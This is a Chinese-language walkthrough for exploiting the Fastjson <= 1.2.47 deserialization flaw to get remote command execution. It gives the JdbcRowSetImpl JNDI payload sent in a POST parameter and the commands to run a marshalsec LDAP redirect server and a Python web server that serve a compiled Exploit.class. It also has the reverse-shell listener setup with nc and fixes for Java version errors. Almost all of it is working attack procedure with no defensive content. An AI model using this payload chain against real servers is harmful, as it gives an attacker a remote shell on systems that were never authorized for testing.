Fastjson <= 1.2.47 遠程命令執行漏洞利用工具及方法,以及避開坑點
以下操作均在Ubuntu 18下親測可用,openjdk需要切換到8,且使用8的javac
> java -version
openjdk versin "1.8.0_222"
> javac -version
javac 1.8.0_222
0x00 假設存在漏洞的功能
POST /note/submit/
param={'id':29384,'content':'Hello','type':'string'}
0x01 測試外連
准備一台服務器監聽流量
nc -lvvp 7777
發送Payload,將IP改為監聽服務器IP
POST /note/submit/
param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:7777/Exploit","autoCommit":true}}}
如果監聽服務器有流量,可以繼續下一步
0x02 准備LDAP服務和Web服務
將marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目錄下
在當前目錄下運行LDAP服務,修改IP為當前這台服務器的IP
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit
在當前目錄下運行Web服務
python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
0x03 修改Exploit並編譯成class文件
修改Exploit.java中的反彈IP和端口(准備接收反彈SHELL的服務器IP和監聽端口)
使用javac編譯Exploit.java,生成Exploit.class文件(注意:javac最好與目標服務器接近,否則目標服務器無法解析class文件,會報錯)
javac Exploit.java
0x03 准備
回顧一下,現在目錄應該有三個文件
marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class
服務器正在開啟LDAP和Web
LDAP Server:Listening on 0.0.0.0:1389
Web Server:Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
一個nc正在准備接收反彈回來的SHELL
nc -lvvp 7777
0x04 執行
修改ip為正在運行LDAP和Web服務的服務器IP
POST /note/submit
param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}
接下來如果沒有任何報錯的話,LDAP將會把請求Redirect到Web服務,Fastjson將會下載Exploit.class,並解析運行
你的LDAP服務和Web服務都會收到請求記錄,如果沒有問題,你的nc也會收到反彈回來的SHELL
0x05 問題
當javac版本和目標服務器差太多,會報一個這樣得到錯誤,所以需要使用1.8的javac來編譯Exploit.java
Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
當運行LDAP的服務器java版本過高,會無法運行LDAP服務,雖然顯示正在Listening,但是Fastjson的JNDI會報錯,顯示無法獲取到資源,所以要使用java 1.8(openjdk 8)來運行LDAP服務